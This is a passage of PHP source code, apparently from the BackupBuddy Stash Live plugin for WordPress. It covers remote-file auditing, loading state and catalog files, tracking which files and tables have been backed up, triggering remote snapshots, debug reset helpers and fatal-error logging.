#373262793: Unable to delete one or more remote files. See log above for details. Details: `' . $deleteResult . '`. Clearing pendingDelete var for next batch.' ); } else { pb_backupbuddy::status( 'details', 'Deleted batch of `' . count( $pendingDelete ) . '` remote files.' ); $filesDeleted += count( $pendingDelete ); } unset( $pendingDelete ); } pb_backupbuddy::status( 'details', 'Deleted `' . $filesDeletedThisRound . '` total files this round out of `' . count( $files ) . '` listed. Looped `' . $loopCount . '` times.' ); // See if it's time to save 'v' key changes so far. if ( ( time() - $last_save ) > self::SAVE_SIGNATURES_EVERY_X_SECONDS ) { self::$_catalogObj->save(); //self::$_stateObj->save(); $last_save = microtime( true ); } $filesListedMinusSkips = ( $totalListed - $serialSkips ); $total_files = ( $filesListedMinusSkips - $filesDeleted ); $totalTablesMinusSkips = ( $totalTables - $serialSkips ); // If files retrieves is >= to the list limit then there may be more files. Set marker and chunk. if ( count( $files ) < $destination_settings['max_filelist_keys'] ) { // No more files remain. $keepLooping = false; self::$_catalogObj->save(); self::$_state['stats']['last_file_audit_finish'] = microtime( true ); // Audit finish time. $runningCount += $total_files - $totalTablesMinusSkips; pb_backupbuddy::status( 'details', 'No more files to check. Deleted `' . $filesDeleted . '` out of listed `' . $totalListed . '` (`' . $filesListedMinusSkips . '` files, Deleted `' . $tablesDeleted . '` tables out of `' . $totalTablesMinusSkips . '` total tables. `' . $serialSkips . '` skipped database/serial dir). `' . $total_files .'` files+tables.sql files after deletions. Files running count: `' . $runningCount . '`.' ); if ( $runningCount < self::$_state['stats']['files_total_count'] ) { $message = 'Attention! Remote storage lists fewer files (' . $total_files . ') than expected (' . self::$_state['stats']['files_total_count'] . '). More files may be pending transfer. Deleted: `' . $filesDeletedThisRound . '`.'; pb_backupbuddy::status( 'error', $message ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $message ); } return true; } else { // More files MAY remain. pb_backupbuddy::status( 'details', 'More files remain to check. Deleted `' . $filesDeleted . '` total files this round so far. Files running count: `' . ( $runningCount + $total_files - $totalTablesMinusSkips ) . '`.' ); $marker = end( $files ); $marker = $marker['Key']; reset( $files ); // Do we have enough time to proceed or do we need to chunk? $time_elapsed = ( microtime( true ) - pb_backupbuddy::$start_time ); $time_remaining = $destination_settings['max_time'] - ( $time_elapsed + self::TIME_WIGGLE_ROOM ); // Estimated time remaining before PHP times out. Unit: seconds. $averageTimePerLoop = ( microtime( true ) - $loopStart ) / $loopCount; pb_backupbuddy::status( 'details', 'Time elapsed: `' . $time_elapsed . '`, estimated remaining: `' . $time_remaining . '`, average time needed per loop: `' . $averageTimePerLoop . '`. Max time setting: `' . $destination_settings['max_time'] . '`.' ); if ( $averageTimePerLoop >= $time_remaining ) { // Not enough time for another loop. Chunk. $keepLooping = false; self::$_catalogObj->save(); $runningCount += $total_files - $totalTablesMinusSkips; pb_backupbuddy::status( 'details', 'Running out of time processing file audit. Took `' . ( microtime( true ) - $loopStart ) . '` seconds to delete `' . $filesDeleted . '` out of listed `' . $totalListed . '` (`' . $filesListedMinusSkips . '` files, Deleted `' . $tablesDeleted . '` tables out of `' . $totalTablesMinusSkips . '` total tables. `' . $serialSkips . '` skipped database/serial dir). `' . ( $filesListedMinusSkips - $filesDeleted ) .'` files after deletions. Starting next at `' . $marker . '`. Files running count: `' . $runningCount . '`.' ); return array( 'Auditing remote files', array( $marker, $runningCount ) ); } else { // Proceed looping in this PHP page load... $keepLooping = true; } } // end if more files may remain. } // End while. // Made it here so we finished. self::$_catalogObj->save(); self::$_state['stats']['last_file_audit_finish'] = microtime( true ); // Audit finish time. return true; } // End _step_audit_remote_files(). /* get_destination_settings() * * Gets the remote destination settings for BackupBuddy Stash Live. Eg advanced settings. * */ public static function get_destination_settings() { require_once( pb_backupbuddy::plugin_path() . '/destinations/live/init.php' ); $settings = pb_backupbuddy_destination_live::_formatSettings( pb_backupbuddy::$options['remote_destinations'][ backupbuddy_live::getLiveID() ] ); if ( '' == $settings['max_time'] ) { $settings['max_time'] = backupbuddy_core::adjustedMaxExecutionTime(); } return $settings; } // End get_destination_settings(). /* get_file_stats() * * Gets the stats from the state file. Read only. * */ public static function get_file_stats( $type ) { require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); pb_backupbuddy::status( 'details', 'Fileoptions instance #89.' ); $statsObj = new pb_backupbuddy_fileoptions( backupbuddy_core::getLogDirectory() . 'live/' . $type . '-' . pb_backupbuddy::$options['log_serial'] . '.txt', $read_only = true, $ignore_lock = true, $create_file = false ); if ( true !== ( $result = $statsObj->is_ok() ) ) { pb_backupbuddy::status( 'error', 'Error #3443794. Fatal error. Unable to create or access fileoptions file for media. Details: `' . $result . '`.' ); die(); } pb_backupbuddy::status( 'details', 'Fileoptions data loaded.' ); if ( isset( $statsObj->options['stats'] ) ) { return $statsObj->options['stats']; } else { return false; } } // End get_file_stats(). private static function _fileoptions_lock_ignore_timeout_value() { return backupbuddy_core::detectLikelyHighestExecutionTime() + backupbuddy_constants::TIMED_OUT_PROCESS_RESUME_WIGGLE_ROOM; } /* _load_state() * * @param $force_load bool Whether or not to force loading if already loaded. Defaults to false, do not reload if already loaded. * @param $get_contents_only By default (false) the state will be loaded into self::$_state. When true instead only the contents are loaded and returned, not touching self::_state. * */ private static function _load_state( $force_load = false, $get_contents_only = false ) { require_once( pb_backupbuddy::plugin_path() . '/classes/core.php' ); if ( ( true !== $force_load ) && ( is_object( self::$_stateObj ) ) ) { return true; } if ( true === $get_contents_only ) { $read_only = true; $ignore_lock = true; //error_log ('ignoreLock_readOnly' ); } else { $read_only = false; $ignore_lock = self::_fileoptions_lock_ignore_timeout_value(); //error_log ('lock_writable' ); } // Load state fileoptions. require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); $stateObj = new pb_backupbuddy_fileoptions( backupbuddy_core::getLogDirectory() . 'live/state-' . pb_backupbuddy::$options['log_serial'] . '.txt', $read_only, $ignore_lock, $create_file = true ); if ( true !== ( $result = $stateObj->is_ok() ) ) { pb_backupbuddy::status( 'error', 'Error #3297392. Fatal error. Unable to create or access SERIAL fileoptions file. Details: `' . $result . '`. Waiting a moment before ending. Read only: `' . $read_only . '`, ignore lock: `' . $ignore_lock . '`, contents only: `' . $get_contents_only . '`. Caller: `' . backupbuddy_core::getCallingFunctionName() . '`.' ); sleep( 3 ); // Wait a moment to give time for temporary issues to resolve. return false; } // Set up initial state / merge defaults. if ( ! is_array( $stateObj->options ) ) { $stateObj->options = array(); pb_backupbuddy::status( 'details', 'State array empty. Initializing as new.' ); } $stateObj->options = array_merge( array( 'data_version' => 1, 'step' => array(), 'prev_step' => array(), 'step' => array(), 'stats' => array(), ), $stateObj->options ); $stateObj->options['step'] = array_merge( self::$_stepDefaults, $stateObj->options['step'] ); $stateObj->options['stats'] = array_merge( self::$_statsDefaults, $stateObj->options['stats'] ); // Getting contents only. if ( true === $get_contents_only ) { return $stateObj->options; } // Set class variables with references to object and options within. self::$_stateObj = &$stateObj; self::$_state = &self::$_stateObj->options; return true; } // End _load_state(). /* _load_catalog() * * Loads the catalog into a class variable for usage by functions. * */ private static function _load_catalog( $force_reload = false, $get_contents_only = false ) { if ( is_object( self::$_catalogObj ) && ( true !== $force_reload ) ) { return self::$_catalogObj; } if ( true === $force_reload ) { unset( self::$_catalogObj ); } $read_only = false; $ignore_lock = self::_fileoptions_lock_ignore_timeout_value(); if ( true === $get_contents_only ) { $read_only = true; $ignore_lock = true; } require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); $catalogObj = new pb_backupbuddy_fileoptions( backupbuddy_core::getLogDirectory() . 'live/catalog-' . pb_backupbuddy::$options['log_serial'] . '.txt', $read_only, $ignore_lock, $create_file = true, $live_mode = true ); if ( true !== ( $result = $catalogObj->is_ok() ) ) { pb_backupbuddy::status( 'error', 'Error #239239034. Fatal error. Unable to create or access CATALOG fileoptions file. Details: `' . $result . '`. Waiting a moment before ending. Read only: `' . $read_only . '`, ignore lock: `' . $ignore_lock . '`, contents only: `' . $get_contents_only . '`. Caller: `' . backupbuddy_core::getCallingFunctionName() . '`.' ); sleep( 3 ); // Wait a moment to give time for temporary issues to resolve. return false; } // Set defaults. if ( ! is_array( $catalogObj->options ) ) { $catalogObj->options = array(); } //$catalogObj->options = array_merge( self::$_catalogDefaults, $catalogObj->options ); // Getting contents only. if ( true === $get_contents_only ) { return $catalogObj->options; } // Set class variables with references to object and options within. self::$_catalogObj = &$catalogObj; self::$_catalog = &$catalogObj->options; return true; } // End _load_catalog(). /* _load_tables() * * Loads the tables signatures into a class variable for usage by functions. * */ private static function _load_tables( $force_reload = false, $get_contents_only = false ) { if ( is_object( self::$_tablesObj ) && ( true !== $force_reload ) ) { return self::$_tablesObj; } if ( true === $force_reload ) { unset( self::$_tablesObj ); } $read_only = false; $ignore_lock = self::_fileoptions_lock_ignore_timeout_value(); if ( true === $get_contents_only ) { $read_only = true; $ignore_lock = false; } require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); $tablesObj = new pb_backupbuddy_fileoptions( backupbuddy_core::getLogDirectory() . 'live/tables-' . pb_backupbuddy::$options['log_serial'] . '.txt', $read_only, $ignore_lock, $create_file = true, $live_mode = true ); if ( true !== ( $result = $tablesObj->is_ok() ) ) { pb_backupbuddy::status( 'error', 'Error #435554390. Unable to create or access fileoptions file. Details: `' . $result . '`. Waiting a moment before ending.' ); sleep( 3 ); // Wait a moment to give time for temporary issues to resolve. return false; } // Set defaults. if ( ! is_array( $tablesObj->options ) ) { $tablesObj->options = array(); } // Getting contents only. if ( true === $get_contents_only ) { return $tablesObj->options; } // Set class variables with references to object and options within. self::$_tablesObj = &$tablesObj; self::$_tables = &$tablesObj->options; return true; } // End _load_tables(). /* set_file_backed_up() * * Marks a file as being sent to server after a successful remote file transfer. Handles files and database table SQL dump confirmation. * * @param string $file Filename relative to ABSPATH. Should have leading slash. * @param string $database_file Blank for normal file. Database table name if a database file. * */ public static function set_file_backed_up( $file, $database_tables = '' ) { if ( false === self::_load_state() ) { pb_backupbuddy::status( 'warning', 'Warning #489348344: set_file_backed_up() could not load state.' ); return false; } if ( '' == $database_tables ) { // Normal file. if ( false === self::_load_catalog() ) { return false; } if ( ! isset( self::$_catalog[ $file ] ) ) { pb_backupbuddy::status( 'warning', 'Warning #28393833: Unable to set file `' . $file . '` as backed up. It was not found in the catalog. Was it deleted?' ); return false; } } pb_backupbuddy::status( 'details', 'Saving catalog that file `' . $file . '` has been backed up.' ); // Update catalog and stats. if ( '' != $database_tables ) { // Database table; not a normal file. if ( false === self::_load_tables() ) { return false; } if ( 'backupbuddy_dat.php' == $database_tables ) { return true; } elseif ( 'importbuddy.php' == $database_tables ) { return true; } self::$_tables[ $database_tables ]['b'] = microtime( true ); // Time backed up to server. self::$_tables[ $database_tables ]['t'] = 0; // Reset try (send attempt) counter back to zero since it succeeded. self::$_state['stats']['tables_pending_send']--; if ( self::$_state['stats']['tables_pending_send'] < 0 ) { // Dont't go below zero. :) self::$_state['stats']['tables_pending_send'] = 0; pb_backupbuddy::status( 'details', 'Tables pending send tried to go below zero. Prevented.' ); } self::$_tablesObj->save(); } else { // Normal file. self::$_catalog[ $file ]['b'] = microtime( true ); // Time backed up to server. self::$_catalog[ $file ]['t'] = 0; // Reset try (send attempt) counter back to zero since it succeeded. self::$_state['stats']['files_pending_send']--; if ( self::$_state['stats']['files_pending_send'] < 0 ) { // Don't go below zero. :) self::$_state['stats']['files_pending_send'] = 0; pb_backupbuddy::status( 'details', 'Files pending send tried to go below zero. Prevented.' ); } self::$_catalogObj->save(); } self::$_stateObj->save(); return true; } // End set_file_backed_up(). public static function _step_wait_on_transfers() { $sleep_time = 10; if ( false === self::_load_state() ) { pb_backupbuddy::status( 'warning', 'Warning #4383434043: _step_wait_on_transfers() could not load state.' ); return false; } if ( ( self::$_state['stats']['files_pending_send'] > 0 ) || ( self::$_state['stats']['tables_pending_send'] > 0 ) ) { if ( 0 == self::$_state['stats']['wait_on_transfers_start'] ) { self::$_state['stats']['wait_on_transfers_start'] = microtime( true ); // Make sure timestamp set to prevent infinite loop. self::$_stateObj->save(); } $destination_settings = self::get_destination_settings(); if ( ( time() - self::$_state['stats']['wait_on_transfers_start'] ) > ( $destination_settings['max_wait_on_transfers_time'] * 60 ) ) { pb_backupbuddy::status( 'warning', 'Ran out of max time (`' . round( ( ( time() - self::$_state['stats']['wait_on_transfers_start'] ) / 60 ) ) . '` of `' . $destination_settings['max_wait_on_transfers_time'] . '` max mins) waiting for pending transfers to finish. Giving up until next periodic restart.' ); return false; } pb_backupbuddy::status( 'details', 'Sleeping for `' . $sleep_time . '` secs to wait on `' . self::$_state['stats']['files_pending_send'] . '` file and `' . self::$_state['stats']['tables_pending_send'] . '` database table transfers. Closing state.' ); self::$_stateObj = ''; // Close stateObj so sleeping won't hinder other operations. sleep( $sleep_time ); // Re-open state. if ( false === self::_load_state() ) { return false; } if ( ( ! is_numeric( self::$_state['stats']['files_pending_send'] ) ) || ( ! is_numeric( self::$_state['stats']['tables_pending_send'] ) ) ) { pb_backupbuddy::status( 'error', 'Error #83989484: files_pending_send or tables_pending_send missing numeric value. State details: `' . print_r( self::$_state, true ) . '`.' ); } pb_backupbuddy::status( 'details', '`' . self::$_state['stats']['files_pending_send'] . '` files and `' . self::$_state['stats']['tables_pending_send'] . '` database tables are still pending transfer after sleeping. Waiting for transfers to finish before creating Snapshot (`' . round( ( time() - self::$_state['stats']['wait_on_transfers_start'] ) / 60 ) . '` of `' . $destination_settings['max_wait_on_transfers_time'] . '` max mins elapsed).' ); $waitingListLimit = 5; // Show some of the files pending send for troubleshooting. if ( self::$_state['stats']['files_pending_send'] > 0 ) { if ( false !== self::_load_catalog() ) { $waitingFileList = array(); foreach( self::$_catalog as $catalogFilename => $catalogFile ) { if ( 0 == $catalogFile['b'] ) { // Not yet transferred. $waitingFileList[] = $catalogFilename . ' (' . $catalogFile['t'] . ' send tries)'; } if ( count( $waitingFileList ) > $waitingListLimit ) { break; } } if ( count( $waitingFileList ) > 0 ) { pb_backupbuddy::status( 'details', 'List of up to `' . $waitingListLimit . '` of `' . self::$_state['stats']['files_pending_send'] . '` pending file sends: ' . implode( '; ', $waitingFileList ) ); $files_pending_send_file = backupbuddy_core::getLogDirectory() . 'live/files_pending_send-' . pb_backupbuddy::$options['log_serial'] . '.txt'; if ( false === @file_put_contents( $files_pending_send_file, implode( "\n", $waitingFileList ) ) ) { // Unable to write. } } } else { pb_backupbuddy::status( 'details', 'Catalog not ready for preview of pending file list. Skipping.' ); } } // Show some of the tables pending send for troubleshooting. if ( self::$_state['stats']['tables_pending_send'] > 0 ) { if ( false !== self::_load_tables() ) { $waitingTableList = array(); foreach( self::$_tables as $tableName => $table ) { if ( 0 == $table['b'] ) { // Not yet transferred. $waitingTableList[] = $tableName . ' (' . $table['t'] . ' send tries)'; } if ( count( $waitingTableList ) > $waitingListLimit ) { break; } } if ( count( $waitingTableList ) > 0 ) { pb_backupbuddy::status( 'details', 'List of up to `' . $waitingListLimit . '` of `' . self::$_state['stats']['tables_pending_send'] . '` pending table sends: ' . implode( '; ', $waitingTableList ) ); $tables_pending_send_file = backupbuddy_core::getLogDirectory() . 'live/tables_pending_send-' . pb_backupbuddy::$options['log_serial'] . '.txt'; if ( false === @file_put_contents( $tables_pending_send_file, implode( "\n", $waitingTableList ) ) ) { // Unable to write. } } } else { pb_backupbuddy::status( 'details', 'Table catalog not ready for preview of pending table list. Skipping.' ); } } backupbuddy_live::queue_step( $step = 'wait_on_transfers', $args = array(), $skip_run_now = true ); return true; } // No more files are pending. Jumps back to snapshot. return true; } // End _step_wait_on_transfers(); /* _step_run_remote_snapshot() * * Step to run a remote snapshot if it's approximately time to do so. * */ public static function _step_run_remote_snapshot() { if ( false === self::_load_state() ) { return false; } // If not all files have uploaded, skip snapshot for now. if ( ( self::$_state['stats']['files_pending_send'] > 0 ) || ( self::$_state['stats']['tables_pending_send'] > 0 ) ) { pb_backupbuddy::status( 'details', '`' . self::$_state['stats']['files_pending_send'] . '` files and `' . self::$_state['stats']['tables_pending_send'] . '` database tables are still pending transfer. Waiting for transfers to finish before creating Snapshot.' ); self::$_state['stats']['wait_on_transfers_start'] = microtime( true ); backupbuddy_live::queue_step( $step = 'wait_on_transfers', $args = array(), $skip_run_now = true ); return true; } if ( ( 0 == self::$_state['stats']['files_total_count'] ) || ( 0 == self::$_state['stats']['tables_total_count'] ) ) { $error = 'Error #3489349834: Made it to the snapshot stage but there are zero files and/or tables. Halting to protect backup integrity. Files: `' . self::$_state['stats']['files_total_count'] . '`. Tables: `' . self::$_state['stats']['tables_total_count'] . '`.'; backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); return $error; } if ( false !== self::$_state['stats']['manual_snapshot'] ) { pb_backupbuddy::status( 'details', 'Manual snapshot requested at `' . pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( self::$_state['stats']['manual_snapshot'] ) ) . '` (' . pb_backupbuddy::$format->time_ago( self::$_state['stats']['manual_snapshot'] ) . ' ago). Triggering remote snapshot now.' ); $trigger = 'manual'; } else { $trigger = 'automatic'; $destination_settings = self::get_destination_settings(); $schedule_times = wp_get_schedules(); if ( ! isset( $schedule_times[ $destination_settings['remote_snapshot_period'] ] ) ) { pb_backupbuddy::status( 'error', 'Error #383927494: Invalid schedule interval/period `' . $destination_settings['remote_snapshot_period'] . '`. Not found in wp_get_schedules().' ); return false; } $delay_between_runs = $schedule_times[ $destination_settings['remote_snapshot_period'] ]['interval']; $adjusted_delay_between_runs = ( $delay_between_runs - self::REMOTE_SNAPSHOT_PERIOD_WIGGLE_ROOM ); $time_since_last_run = microtime( true ) - self::$_state['stats']['last_remote_snapshot']; pb_backupbuddy::status( 'details', 'Period between remote snapshots: `' . $destination_settings['remote_snapshot_period'] . '` (`' . $delay_between_runs . '` seconds). Time since last run: `' . $time_since_last_run . '`. Allowed to run `' . self::REMOTE_SNAPSHOT_PERIOD_WIGGLE_ROOM . '` secs early. Adjusted min delay between runs: `' . $adjusted_delay_between_runs . '`.' ); if ( $time_since_last_run < $adjusted_delay_between_runs ) { pb_backupbuddy::status( 'details', 'Not enough time has passed since last remote snapshot. Skipping this pass.' ); return true; } // Made it here so trigger remote snapshot. pb_backupbuddy::status( 'details', 'Enough time has passed since last remote snapshot. Triggering remote snapshot now.' ); } $response = backupbuddy_live_periodic::_run_remote_snapshot( $trigger ); if ( ! is_array( $response ) ) { $error = 'Error #2397734: Unable to initiate Live snapshot. See log above for details or here: `' . $response . '`.'; pb_backupbuddy::status( 'error', $error ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); return false; } else { // Either triggered snapshot or one already running. if ( true === $response['success'] ) { // Triggered new snapshot. $snapshot_id = $response['snapshot']; backupbuddy_live_periodic::update_last_remote_snapshot_time( $snapshot_id ); pb_backupbuddy::status( 'details', 'Triggered new remote snapshot with ID `' . $snapshot_id . '`.' ); // Schedule to run trim cleanup. $cronArgs = array(); $schedule_result = backupbuddy_core::schedule_single_event( time() + ( 60*60 ), 'live_after_snapshot', $cronArgs ); // 1hr if ( true === $schedule_result ) { pb_backupbuddy::status( 'details', 'Next Live trim cron event scheduled.' ); } else { pb_backupbuddy::status( 'error', 'Next Live trim cron event FAILED to be scheduled.' ); } if ( '1' != pb_backupbuddy::$options['skip_spawn_cron_call'] ) { pb_backupbuddy::status( 'details', 'Spawning cron now.' ); update_option( '_transient_doing_cron', 0 ); // Prevent cron-blocking for next item. spawn_cron( time() + 150 ); // Adds > 60 seconds to get around once per minute cron running limit. } return true; } elseif ( false === $response['success'] ) { // Failed to trigger new snapshot. Most likely one is already in progress. if ( isset( $response['snapshot'] ) ) { pb_backupbuddy::status( 'details', 'Did NOT trigger a new snapshot. One is already in progress with ID `' . $response['snapshot'] . '`.' ); return true; } else { pb_backupbuddy::status( 'error', 'Error #2898923: Something went wrong triggering snapshot. Details: `' . print_r( $response ) . '`.' ); return false; } } else { pb_backupbuddy::status( 'error', 'Error #3832792397: Something went wrong triggering snapshot. Details: `' . print_r( $response ) . '`.' ); return false; } } pb_backupbuddy::status( 'error', 'Error #8028434. This should never happen. This code should not be reached.' ); return false; } // End _step_run_remote_snapshot(). /* _run_remote_snapshot() * * Triggers a remote snapshot. * */ public static function _run_remote_snapshot( $trigger = 'unknown' ) { $destination_settings = backupbuddy_live_periodic::get_destination_settings(); // Send email notification? if ( ( '1' == $destination_settings['send_snapshot_notification'] ) || ( 0 == self::$_state['stats']['first_completion'] ) ) { // Email notification enabled _OR_ it's the first snapshot for this site. if ( '' != $destination_settings['email'] ) { $email = $destination_settings['email']; } else { $email = 'account'; } } else { $email = 'none'; } $additionalParams = array( 'ibpass' => '', // Gets set below. 'email' => $email, // Valid options: email@address.com, 'none', 'account' 'stash_copy' => true, //'debug' => true, ); if ( '' != pb_backupbuddy::$options['importbuddy_pass_hash'] ) { $additionalParams['ibpass'] = pb_backupbuddy::$options['importbuddy_pass_hash']; } if ( false !== ( $timezone = self::tz_offset_to_name( get_option('gmt_offset') ) ) ) { $additionalParams['timezone'] = $timezone; } require_once( pb_backupbuddy::plugin_path() . '/destinations/live/init.php' ); $response = pb_backupbuddy_destination_live::stashAPI( $destination_settings, 'live-snapshot', $additionalParams, $blocking = true, $passthru_errors = true ); self::$_state['stats']['last_remote_snapshot_trigger'] = $trigger; self::$_state['stats']['last_remote_snapshot_response'] = $response; self::$_state['stats']['last_remote_snapshot_response_time'] = microtime( true ); self::$_state['stats']['manual_snapshot'] = false; // Set false no matter what. if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'live-snapshot response due to logging level: `' . print_r( $response, true ) . '`. Call params: `' . print_r( $additionalParams, true ) . ' `.' ); } return $response; } // End _run_remote_snapshot(). /* update_last_remote_snapshot_time() * * Updates the timestamp for when the last remote snapshot was triggered to begin. * * @return bool True on success, else false. */ public static function update_last_remote_snapshot_time( $snapshot_id = '', $snapshot_response = '' ) { if ( false === self::_load_state() ) { return false; } self::$_state['stats']['last_remote_snapshot'] = microtime( true ); self::$_state['stats']['last_remote_snapshot_id'] = $snapshot_id; self::$_state['stats']['manual_snapshot'] = false; // Set false no matter what. // First snapshot? if ( 0 == self::$_state['stats']['first_completion'] ) { self::$_state['stats']['first_completion'] = microtime( true ); //$body = "Your first BackupBuddy Stash Live backup process has completed. Your first Snapshot has been placed in your BackupBuddy Stash storage < https://sync.ithemes.com >. From now on, we'll automatically backup any changes you make to your site.\n\nYour site is well on its way to a secure future in the safe hands of BackupBuddy Stash Live."; //wp_mail( get_option('admin_email'), __( 'Your first Live Backup is complete!', 'it-l10n-backupbuddy' ), $body, 'From: BackupBuddy <' . get_option('admin_email') . ">\r\n".'Reply-To: '.get_option('admin_email')."\r\n"); } // Save state. self::$_stateObj->save(); // Save BB core options to record last successful backup. pb_backupbuddy::$options['last_backup_finish'] = time(); pb_backupbuddy::save(); pb_backupbuddy::status( 'details', 'Time since remote snapshot ran updated.' ); return true; } // End update_last_remote_snapshot_time(). /* reset_last_activity() * * Resets the last activity timestamp to zero. For debugging. * */ public static function reset_last_activity() { if ( false === self::_load_state() ) { return false; } self::$_state['stats']['last_activity'] = 0; self::$_stateObj->save(); return true; } // End reset_last_activity(). /* reset_file_audit_times() * * Resets the last file audit finish timestamp to zero. For debugging. * */ public static function reset_file_audit_times() { if ( false === self::_load_state() ) { return false; } self::$_state['stats']['last_file_audit_start'] = 0; self::$_state['stats']['last_file_audit_finish'] = 0; self::$_stateObj->save(); return true; } // End reset_file_audit_times(). /* reset_first_completion() * * Resets the first completion timestamp to zero. For debugging. * */ public static function reset_first_completion() { if ( false === self::_load_state() ) { return false; } self::$_state['stats']['first_completion'] = 0; self::$_stateObj->save(); return true; } // End reset_first_completion(). /* reset_last_remote_snapshot() * * Resets the last remote snapshot timestamp to zero. For debugging. * */ public static function reset_last_remote_snapshot() { if ( false === self::_load_state() ) { return false; } self::$_state['stats']['last_remote_snapshot'] = 0; self::$_stateObj->save(); return true; } // End reset_last_activity(). /* reset_send_attempts() * * Resets the send attempt counter for all files back to zero. For debugging. * */ public static function reset_send_attempts() { pb_backupbuddy::status( 'details', 'About to reset send attempt counter for all catalog files.' ); if ( false === self::_load_catalog() ) { return false; } if ( false === self::_load_state() ) { return false; } foreach( self::$_catalog as $signatureFile => &$signatureDetails ) { if ( $signatureDetails['t'] > 0 ) { $signatureDetails['t'] = 0; } } self::$_state['stats']['recent_send_fails'] = 0; self::$_catalogObj->save(); self::$_stateObj->save(); pb_backupbuddy::status( 'details', 'Finished resetting send attempt counter for all catalog files.' ); return true; } // End reset_send_attempts(). /* get_stats() * * Returns CONTENTS of state. Not a fileoptions object. * */ public static function get_stats() { return self::_load_state( $force_load = false, $get_contents_only = true ); } // End get_stats(); /* get_catalog() * * Returns CONTENTS of catalog. Not a fileoptions object. * */ public static function get_catalog( $force_reload = null ) { return self::_load_catalog( $force_reload, $get_contents_only = true ); } // End get_catalog(). /* get_tables() * * Returns CONTENTS of tables catalog. Not a fileoptions object. * */ public static function get_tables( $force_reload = null ) { return self::_load_tables( $force_reload, $get_contents_only = true ); } // End get_tables(). /* _truncate_log() * * Truncates the beginning of the log if it is getting too large. * */ private static function _truncate_log() { // Truncate large log. $sumLogFile = backupbuddy_core::getLogDirectory() . 'status-live_periodic_' . pb_backupbuddy::$options['log_serial'] . '.txt'; $max_log_size = pb_backupbuddy::$options['max_site_log_size'] * 1024 * 1024; backupbuddy_core::truncate_file_beginning( $sumLogFile, $max_log_size, 50 ); } // End _truncate_log(). /* backup_catalog() * * Backs up the catalog file for restore if it gets corrupted (eg due to process being killed mid-write). * */ public static function backup_catalog() { pb_backupbuddy::status( 'details', 'About to backup catalog file.' ); $catalog_file = backupbuddy_core::getLogDirectory() . 'live/catalog-' . pb_backupbuddy::$options['log_serial'] . '.txt'; if ( ! file_exists( $catalog_file ) ) { return false; } // Create lock file. If this file exists when restoring a backed up catalog then we cannot trust the backup. if ( false === @touch( $catalog_file . '.bak.lock' ) ) { pb_backupbuddy::status( 'error', 'Error #43849344: Unable to create catalog backup lock file.' ); return false; } // Make copy of catalog file. if ( false === @copy( $catalog_file, $catalog_file . '.bak' ) ) { pb_backupbuddy::status( 'error', 'Error #238932893: Unable to backup catalog file.' ); return false; } // Remove lock file since copy succeeded. if ( false === @unlink( $catalog_file . '.bak.lock' ) ) { pb_backupbuddy::status( 'error', 'Error #43434549: Unable to remove catalog backup lock file.' ); return false; } pb_backupbuddy::status( 'details', 'Catalog file backed up.' ); return true; } // End backup_catalog(). /* shutdown_function() * * Used for catching fatal PHP errors during backup to write to log for debugging. * * @return null */ public static function shutdown_function() { // Get error message. // Error types: http://php.net/manual/en/errorfunc.constants.php $e = error_get_last(); //error_log( print_r( $e, true ) ); if ( $e === NULL ) { // No error of any kind. return; } else { // Some type of error. if ( !is_array( $e ) || ( $e['type'] != E_ERROR ) && ( $e['type'] != E_USER_ERROR ) ) { // Return if not a fatal error. return; } } // Calculate log directory. $log_directory = backupbuddy_core::getLogDirectory(); // Also handles when importbuddy. $main_file = $log_directory . 'log-' . pb_backupbuddy::$options['log_serial'] . '.txt'; // Determine if writing to a serial log. if ( pb_backupbuddy::$_status_serial != '' ) { $serial_files = array(); $statusSerials = pb_backupbuddy::$_status_serial; if ( ! is_array( $statusSerials ) ) { $statusSerials = array( $statusSerials ); } foreach( $statusSerials as $serial ) { $serial_files[] = $log_directory . 'status-' . $serial . '_' . pb_backupbuddy::$options['log_serial'] . '.txt'; } $write_serial = true; } else { $write_serial = false; } // Format error message. $e_string = "---\n" . __( 'Fatal PHP error encountered:', 'it-l10n-backupbuddy' ) . "\n"; foreach( (array)$e as $e_line_title => $e_line ) { $e_string .= $e_line_title . ' => ' . $e_line . "\n"; } $e_string .= "---\n"; // Write to log. file_put_contents( $main_file, $e_string, FILE_APPEND ); if ( $write_serial === true ) { foreach( $serial_files as $serial_file ) { @file_put_contents( $serial_file, $e_string, FILE_APPEND ); } } } // End shutdown_function. public static function get_signature_defaults() { return self::$_signatureDefaults; } public static function tz_offset_to_name($offset) { $offset *= 3600; // convert hour offset to seconds $abbrarray = timezone_abbreviations_list(); foreach ($abbrarray as $abbr) { foreach ($abbr as $city) { if ($city['offset'] == $offset) { return $city['timezone_id']; } } } return FALSE; } } // End class.